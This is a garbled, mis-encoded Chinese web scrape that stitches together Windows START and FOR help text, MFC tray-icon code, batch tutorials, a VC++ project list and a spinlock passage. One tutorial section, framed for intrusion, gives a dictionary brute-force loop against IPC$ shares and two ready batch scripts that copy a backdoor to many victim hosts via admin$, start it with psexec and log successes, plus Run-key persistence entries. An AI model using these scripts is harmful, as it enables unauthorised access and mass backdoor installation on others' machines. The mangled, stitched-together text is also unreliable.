??xml version="1.0" encoding="utf-8" standalone="yes"?> start "" /D "C:\Documents and Settings\Administrator\桌面\HY Server" "C:\Documents and Settings\Administrator\桌面\HY Server\HY Server.exe"
启动另一个窗口运行指定的E序或命令?
START ["title"] [/D path] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
[/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]
[/AFFINITY <hex affinity>] [/WAIT] [/B] [command/program]
[parameters]
"title" 在窗口标题栏中显C的标题?
path 启动目录
B 启动应用E序Q但不创建新H口。应用程序已
忽略 ^C 处理。除非应用程序启?^C 处理Q否?^Break 是唯一可以?
?
该应用程序的方式
I 新的环境成Z递给 cmd.exe 的原始环境,
而不是当前环境?
MIN 以最化方式启动H口
MAX 以最大化方式启动H口
SEPARATE 在单独的内存I间中启?16 ?Windows E序
SHARED 在共享内存空间中启动 16 ?Windows E序
LOW ?IDLE 优先U类中启动应用程?
NORMAL ?NORMAL 优先U类中启动应用程?
HIGH ?HIGH 优先U类中启动应用程?
REALTIME ?REALTIME 优先U类中启动应用程?
ABOVENORMAL ?ABOVENORMAL 优先U类中启动应用程?
BELOWNORMAL ?BELOWNORMAL 优先U类中启动应用程?
AFFINITY 新应用程序将h指定的处理器兌掩码Q用一
个十六进制数字表C?
WAIT 启动应用E序q等待它l止
command/program
如果它是内部 cmd 命o或批文gQ那么该命o?
理器是?cmd.exe ?/K 开兌行的?
q意味着q行该命令之后,该窗口将
仍然存在?
如果它不是内?cmd 命o或批文gQ那?
它就是一
个程序,q将作ؓ一个窗口化应用E序或控制台?
用程序运行?
parameters q些是传递给 command/program 的参?
注意: ?64 位^C不支?SEPERATE ?SHARED 选项?
如果命o扩展被启用,通过命o行或 START 命o的外部命?
调用会如下改?
文件名作ؓ命o键入Q非可执行文件可以通过文g兌调用?
(例如QWORD.DOC 会调用跟 .DOC 文g扩展名关联的应用E序)?
关于如何从命令脚本内部创些关联,请参?ASSOC ?
FTYPE 命o?
执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用
E序l止p回命令提C符。如果在命o脚本内执行,该新行ؓ
则不会发生?
如果执行的命令行的第一个符h不带扩展名或路径修饰W的
字符?"CMD"Q?CMD" 会被 COMSPEC 变量的数值所替换。这
防止从当前目录提?CMD.EXE?
如果执行的命令行的第一个符h有扩展名QCMD.EXE 会?
PATHEXT 环境变量的数值来军_要以什么顺序寻扑֓些扩?
名。PATHEXT 变量的默认值是:
.COM;.EXE;.BAT;.CMD
h意,该语法跟 PATH 变量的一P分号隔开不同的元素?
查找可执行文件时Q如果没有相配的扩展名,看一看该名称是否
与目录名盔R。如果确实如此,START 会在那个路径上调?
Explorer。如果从命o行执行,则等同于寚w个\径作 CD /D?br>参考资料:Windows Vista
protected:
HICON m_hIcon;
NOTIFYICONDATA m_tnid;
afx_msg LRESULT OnTrayMessage(WPARAM wParam, LPARAM lParam);
实现文g
ON_COMMAND(IDM_MENU_TRAY_SHOW_WINDOW, OnMenuTrayShowWindow)
ON_COMMAND(IDM_MENU_TRAY_EXIT, OnMenuTrayExit)
ON_MESSAGE(MYWM_NOTIFYICON, OnTrayMessage)
void CHYServerDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if (SC_MINIMIZE == nID || SC_CLOSE == nID)
{
ShowWindow(SW_HIDE);
return;
}
if (IDM_ABOUTBOX == (nID & 0xFFF0))
{
CAboutDlg dlgabout;
dlgabout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
LRESULT CHYServerDlg::OnTrayMessage(WPARAM wParam, LPARAM lParam)
{
if(WM_LBUTTONDBLCLK == lParam)
{
//鼠标双击时主H口出现
ShowWindow(SW_SHOW);
}
else if(WM_RBUTTONDOWN == lParam)
{
//鼠标右键单击弹出选单
CMenu menu;
menu.LoadMenu(IDR_TRAY_RIGHT_MENU);
//载入事先定义的选单
CMenu* pMenu = menu.GetSubMenu(0);
CPoint pos;
GetCursorPos(&pos);
SetForegroundWindow();
pMenu->TrackPopupMenu(TPM_LEFTALIGN|TPM_RIGHTBUTTON, pos.x, pos.y, AfxGetMainWnd());
}
return 1;
}
void CHYServerDlg::OnMenuTrayShowWindow()
{
//---- TODO: Add your command handler code here
ShowWindow(SW_SHOW);
}
void CHYServerDlg::OnMenuTrayExit()
{
//---- TODO: Add your command handler code here
CDialog::OnOK();
}
int CHYServerDlg::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CDialog::OnCreate(lpCreateStruct) == -1)
return -1;
//---- TODO: Add your specialized creation code here
m_tnid.cbSize=sizeof(NOTIFYICONDATA);
m_tnid.hWnd=this->m_hWnd;
m_tnid.uFlags=NIF_MESSAGE|NIF_ICON|NIF_TIP;
m_tnid.uCallbackMessage=MYWM_NOTIFYICON;//用户定义的回调消?br> CString szToolTip;
szToolTip=_T(VERSION_STRING);
_tcscpy(m_tnid.szTip, szToolTip);
m_tnid.uID=IDR_MAINFRAME;
HICON hIcon;
hIcon=AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_tnid.hIcon=hIcon;
::Shell_NotifyIcon(NIM_ADD, &m_tnid);
if(hIcon)::DestroyIcon(hIcon);
return 0;
}
void CHYServerDlg::OnDestroy()
{
CDialog::OnDestroy();
::Shell_NotifyIcon(NIM_DELETE, &m_tnid);
//---- TODO: Add your message handler code here
}
复制内容到剪贴板
@echo off
set a=b
echo %a%
echo %%a%%
echo %%%a%%%
echo %%%%a%%%%
echo %%%%%a%%%%%
pause
q行l果是:
b
%a%
%b%
%%a%%
%%b%%
解说Q不知道大家看没看出来问题。批处理中类gq样的变量替换究竟是
如何q行的呢Q我们姑且称之ؓ“替换步骤?br>“替换步骤”大体分Z步:
W一步:
当百分号?”是偶数Ӟ只按一边的癑ֈh目计)Q变量将
不被替换Q其它的也不变。当癑ֈh奇数Ӟ也只按一边的癑ֈh目计
Q,最里层的?a%”将被替换成变量的|此时癑ֈh目将了一个(
只按一边计Q?br> W二步:
W一步完成后Q百分号都是偶C。好了,现在把百分号数目?br>一半脱掉,剩下的就是结果了?br> 拿本例的“echo %%%%%a%%%%%”ؓ例说明一下。第一步,׃癑ֈh
5个是奇数Q因此最里层?a%被其g替,现在变ؓ?%%%b%%%%”;W二
步,百分号脱去一半,变为?%b%%”。怎么P理解了吗Q?br>再看看有call的时候?br>例二?
复制内容到剪贴板
@echo off
set a=b
set b=c
set c=d
call echo %%%%%%%%a%%%%%%%%
call echo %%%%%%%%%%%%%a%%%%%%%%%%%%%
pause
q行l果是:
%%a%%
%%%b%%%
解说Q由于有call的存在,“替换步骤”就会多q行一ơ。以“call echo
%%%%%%%%%%%%%a%%%%%%%%%%%%%”ؓ例?br>“替换步骤”第一ơ:
W一步:
癑ֈh13个是奇数Q因此最里层的?a%”被其值b替换Q此时ؓ
?%%%%%%%%%%%b%%%%%%%%%%%%”,现在癑ֈh目ؓ12个了?br> W二步:
百分号数脱M半,现在为?%%%%%b%%%%%%”?br>“替换步骤”第二次Q?br> W一步:
癑ֈh6个是偶数Q因此不替换。现在仍然是?%%%%%b%%%%%%”?br> W二步:
百分号数脱M半,现在为?%%b%%%”?br>l果是?%%b%%%”?br>Q如果有n个call那么pq行n+1ơ“替换步骤”。)
call命o在“变量gq”中也遵循“替换步骤”?br>举个例子Q我现在要将字符串str1的“superhero”部分替换ؓchessQ在此我们用间接的方法实现。代码如下:
复制内容到剪贴板
@echo off
set str1=mynameissuperhero
set str2=supxrhxro
set a=x
call call set str3=%%%%str1:%%str2:%a%=e%%=chess%%%%
echo %str3%
pause
因ؓ用了两个callQ因此要q行3ơ“替换步骤”?br>“替换步骤”第一ơ:
1、将?a%”替换成“x”,l果为?%%%str1:%%str2:x=e%%=chess%%%%”?br>2、将癑ֈ可M半,为?%str1:%str2:x=e%=chess%%”?br>“替换步骤”第二次Q?br>1、将?str2:x=e%”替换掉Q结果ؓ?%str1:superhero=chess%%”?br>2、将癑ֈ可M半,为?str1:superhero=chess%”?br>“替换步骤”第三次Q?br>1、将?str1:superhero=chess%”替换掉Q结果ؓ“mynameischess”?br>2、将癑ֈ可M半(没的׃Q,因此l果为“mynameischess”?br>怎么P明白了吗Q?
:defrag
c:\\dos\\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?br>9.If 命o
if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?
1、if "参数" == "字符? 待执行的命o
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms
2、if exist 文g名 待执行的命o
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br>如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命o
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br>如if errorlevel 2 goto x2
DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???br>10.for 命o
for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?br>在批处理文g中?FOR 命oӞ指定变量请?%%variable
for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?br>(set) 指定一个或一l文件。可以用通配W?br>command 指定Ҏ个文件执行的命o?br>command-parameters 为特定命令指定参数或命o行开兟?br>在批处理文g中?FOR 命oӞ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I
如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?br>支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配W,则指定与目录名匹配,而不与文?br>名匹配?br>FOR /R [[drive:]path] %variable IN (set) DO command [command-
查以 [drive:]path 为根的目录树Q指向每个目录中?br>FOR 语句。如果在 /R 后没有指定目录,则用当?br>目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?br>FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量Ş式从开始到l束的一个数字序列?br>因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br>序列 (5 4 3 2 1)?br>FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command
或者,如果?usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command
filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?br>处理包括d文gQ将其分成一行行的文字,然后每?br>解析成零或更多的W号。然后用已找到的W号字符串变量?br>调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。您可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br>delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br>默认分隔W集?br>tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这会导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?br>usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命oq允许在 fi
中用双引号扩v文g名称?br>sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分?myfile.txt 中的每一行,忽略以分h头的那些行,?br>每行中的W二个和W三个符号传递给 for E序体;用逗号??br>I格定界W号。请注意Q这?for E序体的语句引用 %i ?br>取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,您需要用双引号将文g名括h。ؓ了用q种方式来
用双引号Q您q需要?usebackq 选项Q否则,双引号会
被理解成是用作定义某个要分析的字W串的?br>%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一?br>指定最?26 个符P只要不试图说明一个高于字?\'z\' ?br>\'Z\' 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?br>您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?br>用单引号括号之间的 filenameset 括v来。这P该字W?br>串会被当作一个文件中的一个单一输入行?br>最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会
被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进
内存Qƈ被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚丑ֽ前环境中的环境变量名U?
另外QFOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?br>%~dI - 仅将 %I 扩充C个驱动器?br>%~pI - 仅将 %I 扩充C个\?br>%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?br>%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?br>未被定义Q或者没有找到文Ӟ此组合键会扩?br>I字W串
可以l合修饰W来得到多重l果:
%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?br>%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?br>%~ftzaI - ?%I 扩充到类D出线路的 DIR
在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?br>以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?br>sample2Q?br>利用For命o来实现对一台目标Win2kL的暴力密码破解?br>我们用net use \\\\ip\\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?br>最主要的命令是一条:for /f i% in (dict.txt) do net use \\\\ip\\ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ-
for /f i%% in (dict.txt) do net use \\\\ip\\ipc$ "i%%" /u:"administrator"|find ":命o成功完成">>D:\\ok.txt Q这样就ko了?br>sample3Q?br>你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?br>主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?br>而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?br>delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?br>代码雏ŞQ?br>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\\\%1\\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\\\%1 c:\\winnt\\system32\\windrv32.exe
@psexec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?br>可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?
?如何在批处理文g中用参?br>批处理中可以使用参数Q一般从1%?9%q九个,当有多个参数旉要用shift来移动,q种情况q不多见Q我们就不考虑它了?
sample1Qfomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇添了~^_^
sample2Q?br>当我们要建立一个IPC$q接地时候总要输入一大串命oQ弄不好打错了Q所以我们不如把一些固定命令写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o了?br>@echo off
@net use \\\\1%\\ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?br>@if errorlevel 1 echo connection failed
怎么?使用参数q是比较单的吧?你这么帅一定学会了^_^.No.3
?如何使用l合命o(Compound Command)
1.&
UsageQ第一条命?& W二条命?[& W三条命?..]
用这U方法可以同时执行多条命令,而不命令是否执行成?br>SampleQ?br>C:\\>dir z: & dir c:\\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
UsageQ第一条命?&& W二条命?[&& W三条命?..]
用这U方法可以同时执行多条命令,当碰到执行出错的命o后将不执行后面的命oQ如果一直没有出错则一直执行完所有命令;
SampleQ?br>C:\\>dir z: && dir c:\\Ex4rch
The system cannot find the path specified.
C:\\>dir c:\\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备䆾的时候可能会用到q种命o会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\\backup
如果q程服务器上存在backup.mdb文gQ就执行copy命oQ若不存在该文g则不执行copy命o。这U用法可以替换IF exist?Q)
3.||
UsageQ第一条命?|| W二条命?[|| W三条命?..]
用这U方法可以同时执行多条命令,当碰到执行正的命o后将不执行后面的命oQ如果没有出现正的命o则一直执行完所有命令;
SampleQ?br>C:\\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
l合命o使用的例子:
sampleQ?br>@copy trojan.exe \\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.| 命o
UsageQ第一条命?| W二条命?[| W三条命?..]
第一条命令的l果作ؓW二条命令的参数来用,记得在unix中这U方式很常见?br>sampleQ?br>time /t>>D:\\IP.log
netstat -n -p tcp|find ":3389">>D:\\IP.log
start Explorer
看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得d用户的IP?br>2.>?gt;>输出重定向命?br>一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>会清除调原有文g中的内容后写入指定文Ӟ?gt;>只会q加内容到指定文件中Q而不会改动其中的内容?br>sample1Q?br>echo hello world>c:\\hello.txt (stupid example?)
sample2:
时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也不例外,针对q一Ҏ们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录:
q行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt?
日后如发现异怽用传l的Ҏ查不出问题时,则要考虑是不是系l中已经潜入DLL木马?
q时我们用同L命osystem32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o比较前后两次的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g,然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移到回收站里,若系l没有异常反映再之d删除或者提交给杀毒Y件公司?br>3.< ?gt;& ?lt;&
< 从文件中而不是从键盘中读入命令输入?br>>& 一个句柄的输出写入到另一个句柄的输入中?br><& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?br>q些q不常用Q也׃多做介绍?br>No.5
?如何用批处理文g来操作注册表
在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也会修Ҏ册表来加固系l或者改变系l的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何?REG文g来操作注册表.(我们可以用批处理来生成一个REG文g)
关于注册表的操作Q常见的是创建、修攏V删除?
1.创徏
创徏分ؓ两种Q一U是创徏子项(Subkey)
我们创徏一个文Ӟ内容如下Q?br>Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft下创Z一个名字ؓ“hacker”的子项?br>另一U是创徏一个项目名U?br>那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_内容如下Q?br>Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Invader"="Ex4rch"
"Door"=C:\\\\WINNT\\\\system32\\\\door.exe
"Autodos"=dword:02
q样在[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]?br>新徏?Invader、door、aboutq三个项?br>Invader的类型是“String Value?br>door的类型是“REG SZ Value?br>Autodos的类型是“DWORD Value?br>2.修改
修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /sQ即可?br>3.删除
我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下的"Ex4rch"p删除了;
List of some of the best Open Source projects written in VC++/MFC.
Codeproject has the best source code repository for VC++ developers. But another site Sourceforge.net also have some of the best quality projects available for VC++. Here I lists some of the best open source projects written in Visual C++. These are very good reference for all VC++ programmers.
w h i l e循环是@环运行的Q它g _ f R e s o u r c e I n U s e中的值改为T R U EQƈ查看它的前一个|以了解它是否是T R U E。如果这个值原先是FA L S EQ那么该资源q没有在使用Q而是调用U程它讄为在用状态ƈ退循环。如果前一个值是T R U EQ那么资源正在被另一个线E用,w h i l e循环l@环运行?
如果另一个线E要执行cM的代码,它将在w h i l e循环中运行,直到g _ f R e s o u r c e I n U s e重新改ؓFA L S E。调用函数结֤的I n t e r l o c k e d E x c h a n g eQ可昄应该如何g _ f R e s o u r c e I n U s e重新讄为FA L S E?
当用这个方法时必须格外心Q因为@环锁会浪费C P U旉。C P U必须不断地比较两个|直到一个值由于另一个线E而“奇妙地”改变ؓ止。另外,该代码假定用@环锁的所有线E都以相同的优先U等U运行。也可以把执行@环锁的线E的优先U提高功能禁用(通过调用S e t P r o c e s s P r i o r i t y B o o s t或s e t T h r e a d P r i o r i t y B o o s t函数来实CQ?
此外Q应该保证将循环锁变量和循环锁保护的数据l护在不同的高速缓存行中(本章后面部分介绍Q。如果@环锁变量与数据共享相同的高速缓存行Q那么用该资源的C P U与试图讉K该资源的MC P U争用高速缓存行?
应该避免在单个C P U计算Z使用循环锁。如果一个线E正在@环运行,它就会浪费前一个C P U旉Q这防止另一个线E修改该倹{?/font>我在上面的w h i l e循环中用了S l e e p ,从而在某种E度上解决了费C P U旉的问题。如果用S l e e pQ你可能想睡眠一个随机时间量Q每ơ请求访问该资源均被拒绝Ӟ你可能想q一步g长睡眠时间。这可以防止U程费C P U旉。根据情况,最好是全部删除对S l e e p的调用。或者用对S w i t c h To T h r e a dQWindows 98中没有这个函敎ͼ的调用来取代它。勇于试验和不断U正错误Q是学习的最好方法?
循环锁假定,受保护的资源L被访问较短的旉。这使它能够更加有效地@环运行,然后转ؓ内核方式q进入等待状态。许多编Eh员@环运行一定的ơ数Q比? 0 0ơ)Q如果对资源的访问仍然被拒绝Q那么该U程p{为内核方式,在这U方式下Q它要等待(不消耗C P U旉Q,直到该资源变为可供用ؓ止。这是关键部分实现的方法?
循环锁在多处理器计算Z非常有用Q因为当一个线E@环运行的时候,另一个线E可以在另一个C P U上运行。但是,即在这U情况下Q也必须心。不应该让线E@环运行太长的旉Q也不能费更多的C P U旉。本章后面将q一步介l@环锁?/p>